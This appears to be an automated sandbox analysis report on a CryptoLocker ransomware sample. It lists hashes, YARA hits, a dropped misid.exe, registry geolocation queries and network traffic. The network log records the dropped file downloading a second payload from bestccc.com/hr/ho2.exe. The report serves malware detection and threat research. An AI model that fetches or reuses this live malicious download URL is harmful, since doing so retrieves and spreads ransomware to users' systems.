96b994a4a2e4d5fc8c9e7ae832d0e5eac4dd56a67f47246406dfbd4b0d4ecea4

Analysis

max time kernel
144s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20231222-en
resource tags

arch:x64arch:x86image:win10v2004-20231222-enlocale:en-usos:windows10-2004-x64system
submitted
04/02/2024, 04:01 UTC

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General

Target

2024-02-04_ea164475e17a39c62b940c2b6a92dede_cryptolocker.exe
Size

119KB
MD5

ea164475e17a39c62b940c2b6a92dede
SHA1

22a425a51a7b0329546147f581094309b6673494
SHA256

96b994a4a2e4d5fc8c9e7ae832d0e5eac4dd56a67f47246406dfbd4b0d4ecea4
SHA512

602d7f2b425bdbd07f3b03c307822ae6d33022b3563481461f1adfd06660853c7d8c3a0ac960ba7527a6c6451431377bfae110cf6ba25b7d5ed1d115122f4ba9
SSDEEP

768:gUQz7yVEhs9+4T/1bytOOtEvwDpjNbZ7uyA36S7MpxRIIXVe3mU9TYwlOBTq:gUj+AIMOtEvwDpjNbwQEIPlemUhYa

Score

9^/10

Malware Config

Signatures

Detection of CryptoLocker Variants 1 IoCs

resource	yara_rule
behavioral2/files/0x0007000000023226-12.dat	CryptoLocker_rule2

Detection of Cryptolocker Samples 1 IoCs

resource	yara_rule
behavioral2/files/0x0007000000023226-12.dat	CryptoLocker_set1

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000\Control Panel\International\Geo\Nation	2024-02-04_ea164475e17a39c62b940c2b6a92dede_cryptolocker.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000\Control Panel\International\Geo\Nation	misid.exe

Executes dropped EXE 1 IoCs

pid	Process
3212	misid.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2376 wrote to memory of 3212	2376	2024-02-04_ea164475e17a39c62b940c2b6a92dede_cryptolocker.exe	36
PID 2376 wrote to memory of 3212	2376	2024-02-04_ea164475e17a39c62b940c2b6a92dede_cryptolocker.exe	36
PID 2376 wrote to memory of 3212	2376	2024-02-04_ea164475e17a39c62b940c2b6a92dede_cryptolocker.exe	36

C:\Users\Admin\AppData\Local\Temp\2024-02-04_ea164475e17a39c62b940c2b6a92dede_cryptolocker.exe
"C:\Users\Admin\AppData\Local\Temp\2024-02-04_ea164475e17a39c62b940c2b6a92dede_cryptolocker.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2376
- C:\Users\Admin\AppData\Local\Temp\misid.exe
  "C:\Users\Admin\AppData\Local\Temp\misid.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  PID:3212

Network

DNS

13.86.106.20.in-addr.arpa

Remote address:

8.8.8.8:53

Request

13.86.106.20.in-addr.arpa

IN PTR

Response
DNS

bestccc.com

misid.exe

Remote address:

8.8.8.8:53

Request

bestccc.com

IN A

Response

bestccc.com

IN A

103.14.121.240
GET

https://bestccc.com/hr/ho2.exe

misid.exe

Remote address:

103.14.121.240:443

Request

GET /hr/ho2.exe HTTP/1.1
Accept: text/*, application/*
User-Agent: Updates downloader
Host: bestccc.com
Cache-Control: no-cache

Response

HTTP/1.1 200 OK

Date: Sun, 04 Feb 2024 04:01:33 GMT
Content-Type: application/octet-stream
Transfer-Encoding: chunked
Connection: close
Server: imunify360-webshield/1.21
Last-Modified: Sunday, 04-Feb-2024 04:01:33 GMT
Cache-Control: private, no-store, no-cache, must-revalidate, proxy-revalidate, max-age=0, s-maxage=0
cf-edge-cache: no-cache
DNS

0.205.248.87.in-addr.arpa

Remote address:

8.8.8.8:53

Request

0.205.248.87.in-addr.arpa

IN PTR

Response

0.205.248.87.in-addr.arpa

IN PTR

https-87-248-205-0lgwllnwnet
DNS

74.32.126.40.in-addr.arpa

Remote address:

8.8.8.8:53

Request

74.32.126.40.in-addr.arpa

IN PTR

Response
DNS

crl.comodoca.com

misid.exe

Remote address:

8.8.8.8:53

Request

crl.comodoca.com

IN A

Response

crl.comodoca.com

IN CNAME

crl.comodoca.com.cdn.cloudflare.net

crl.comodoca.com.cdn.cloudflare.net

IN A

104.18.38.233

crl.comodoca.com.cdn.cloudflare.net

IN A

172.64.149.23
GET

http://crl.comodoca.com/cPanelIncCertificationAuthority.crl

misid.exe

Remote address:

104.18.38.233:80

Request

GET /cPanelIncCertificationAuthority.crl HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Microsoft-CryptoAPI/10.0
Host: crl.comodoca.com

Response

HTTP/1.1 200 OK

Date: Sun, 04 Feb 2024 04:02:02 GMT
Content-Type: application/pkix-crl
Content-Length: 60142
Connection: keep-alive
Last-Modified: Sat, 03 Feb 2024 13:56:59 GMT
ETag: "65be462b-eaee"
X-CCACDN-Mirror-ID: sscrl1
Cache-Control: max-age=14400, s-maxage=3600
Expires: Sat, 10 Feb 2024 13:56:59 GMT
X-CCACDN-Proxy-ID: mcdpinlb1
X-Frame-Options: SAMEORIGIN
CF-Cache-Status: HIT
Age: 383
Accept-Ranges: bytes
Server: cloudflare
CF-RAY: 8500040bc91148c1-LHR
DNS

240.121.14.103.in-addr.arpa

Remote address:

8.8.8.8:53

Request

240.121.14.103.in-addr.arpa

IN PTR

Response

240.121.14.103.in-addr.arpa

IN PTR

10314121240-static-reversegooddomainregistrycom
DNS

95.221.229.192.in-addr.arpa

Remote address:

8.8.8.8:53

Request

95.221.229.192.in-addr.arpa

IN PTR

Response
DNS

23.149.64.172.in-addr.arpa

Remote address:

8.8.8.8:53

Request

23.149.64.172.in-addr.arpa

IN PTR

Response
DNS

149.220.183.52.in-addr.arpa

Remote address:

8.8.8.8:53

Request

149.220.183.52.in-addr.arpa

IN PTR

Response
DNS

233.38.18.104.in-addr.arpa

Remote address:

8.8.8.8:53

Request

233.38.18.104.in-addr.arpa

IN PTR

Response
DNS

196.249.167.52.in-addr.arpa

Remote address:

8.8.8.8:53

Request

196.249.167.52.in-addr.arpa

IN PTR

Response
DNS

157.123.68.40.in-addr.arpa

Remote address:

8.8.8.8:53

Request

157.123.68.40.in-addr.arpa

IN PTR

Response
DNS

15.164.165.52.in-addr.arpa

Remote address:

8.8.8.8:53

Request

15.164.165.52.in-addr.arpa

IN PTR

Response
DNS

18.134.221.88.in-addr.arpa

Remote address:

8.8.8.8:53

Request

18.134.221.88.in-addr.arpa

IN PTR

Response

18.134.221.88.in-addr.arpa

IN PTR

a88-221-134-18deploystaticakamaitechnologiescom
DNS

173.178.17.96.in-addr.arpa

Remote address:

8.8.8.8:53

Request

173.178.17.96.in-addr.arpa

IN PTR

Response

173.178.17.96.in-addr.arpa

IN PTR

a96-17-178-173deploystaticakamaitechnologiescom
DNS

29.243.111.52.in-addr.arpa

Remote address:

8.8.8.8:53

Request

29.243.111.52.in-addr.arpa

IN PTR

Response
DNS

211.143.182.52.in-addr.arpa

Remote address:

8.8.8.8:53

Request

211.143.182.52.in-addr.arpa

IN PTR

Response

103.14.121.240:443

https://bestccc.com/hr/ho2.exe

tls, http

misid.exe

1.0kB
4.1kB
13
9

HTTP Request

GET https://bestccc.com/hr/ho2.exe

HTTP Response

200
104.18.38.233:80

http://crl.comodoca.com/cPanelIncCertificationAuthority.crl

http

misid.exe

1.4kB
62.5kB
27
47

HTTP Request

GET http://crl.comodoca.com/cPanelIncCertificationAuthority.crl

HTTP Response

200

8.8.8.8:53

13.86.106.20.in-addr.arpa

dns

71 B
157 B
1
1

DNS Request

13.86.106.20.in-addr.arpa
8.8.8.8:53

bestccc.com

dns

misid.exe

57 B
73 B
1
1

DNS Request

bestccc.com

DNS Response

103.14.121.240
8.8.8.8:53

0.205.248.87.in-addr.arpa

dns

71 B
116 B
1
1

DNS Request

0.205.248.87.in-addr.arpa
8.8.8.8:53

74.32.126.40.in-addr.arpa

dns

71 B
157 B
1
1

DNS Request

74.32.126.40.in-addr.arpa
8.8.8.8:53

crl.comodoca.com

dns

misid.exe

62 B
143 B
1
1

DNS Request

crl.comodoca.com

DNS Response

104.18.38.233

172.64.149.23
8.8.8.8:53

240.121.14.103.in-addr.arpa

dns

73 B
139 B
1
1

DNS Request

240.121.14.103.in-addr.arpa
8.8.8.8:53

95.221.229.192.in-addr.arpa

dns

73 B
144 B
1
1

DNS Request

95.221.229.192.in-addr.arpa
8.8.8.8:53

23.149.64.172.in-addr.arpa

dns

72 B
134 B
1
1

DNS Request

23.149.64.172.in-addr.arpa
8.8.8.8:53

149.220.183.52.in-addr.arpa

dns

73 B
147 B
1
1

DNS Request

149.220.183.52.in-addr.arpa
8.8.8.8:53

233.38.18.104.in-addr.arpa

dns

72 B
134 B
1
1

DNS Request

233.38.18.104.in-addr.arpa
8.8.8.8:53

196.249.167.52.in-addr.arpa

dns

73 B
147 B
1
1

DNS Request

196.249.167.52.in-addr.arpa
8.8.8.8:53

157.123.68.40.in-addr.arpa

dns

72 B
146 B
1
1

DNS Request

157.123.68.40.in-addr.arpa
8.8.8.8:53

15.164.165.52.in-addr.arpa

dns

72 B
146 B
1
1

DNS Request

15.164.165.52.in-addr.arpa
8.8.8.8:53

18.134.221.88.in-addr.arpa

dns

72 B
137 B
1
1

DNS Request

18.134.221.88.in-addr.arpa
8.8.8.8:53

173.178.17.96.in-addr.arpa

dns

72 B
137 B
1
1

DNS Request

173.178.17.96.in-addr.arpa
8.8.8.8:53

29.243.111.52.in-addr.arpa

dns

72 B
158 B
1
1

DNS Request

29.243.111.52.in-addr.arpa
8.8.8.8:53

211.143.182.52.in-addr.arpa

dns

73 B
147 B
1
1

DNS Request

211.143.182.52.in-addr.arpa

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\misid.exe

Filesize
119KB

MD5
d99b27b0d313f75083c0909769efd3e7

SHA1
150eaf81dbd833214e7bee87ede2e2e8cef83b23

SHA256
93b453dda6b8ddf00d644f00ede8a9821ceff9ecff1e450b15bf9f3791198e77

SHA512
9ce8215fa2bca5bd3bc389ba98687cca5216aac072f5cdef795e509db959562960d4ddd26bbbae25e0ae8605a4de11d1e379ae7200295ebbbf7ec89220559d09

Download Submit
memory/2376-2-0x00000000007D0000-0x00000000007D6000-memory.dmp

Filesize
24KB

Download
memory/2376-1-0x00000000007B0000-0x00000000007B6000-memory.dmp

Filesize
24KB

Download
memory/2376-0-0x00000000007B0000-0x00000000007B6000-memory.dmp

Filesize
24KB

Download
memory/3212-17-0x0000000000760000-0x0000000000766000-memory.dmp

Filesize
24KB

Download
memory/3212-19-0x0000000000630000-0x0000000000636000-memory.dmp

Filesize
24KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

HTTP Request

HTTP Response

HTTP Request

HTTP Response

DNS Request

DNS Request

DNS Response

DNS Request

DNS Request

DNS Request

DNS Response

DNS Request

DNS Request

DNS Request

DNS Request

DNS Request

DNS Request

DNS Request

DNS Request

DNS Request

DNS Request

DNS Request

DNS Request

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

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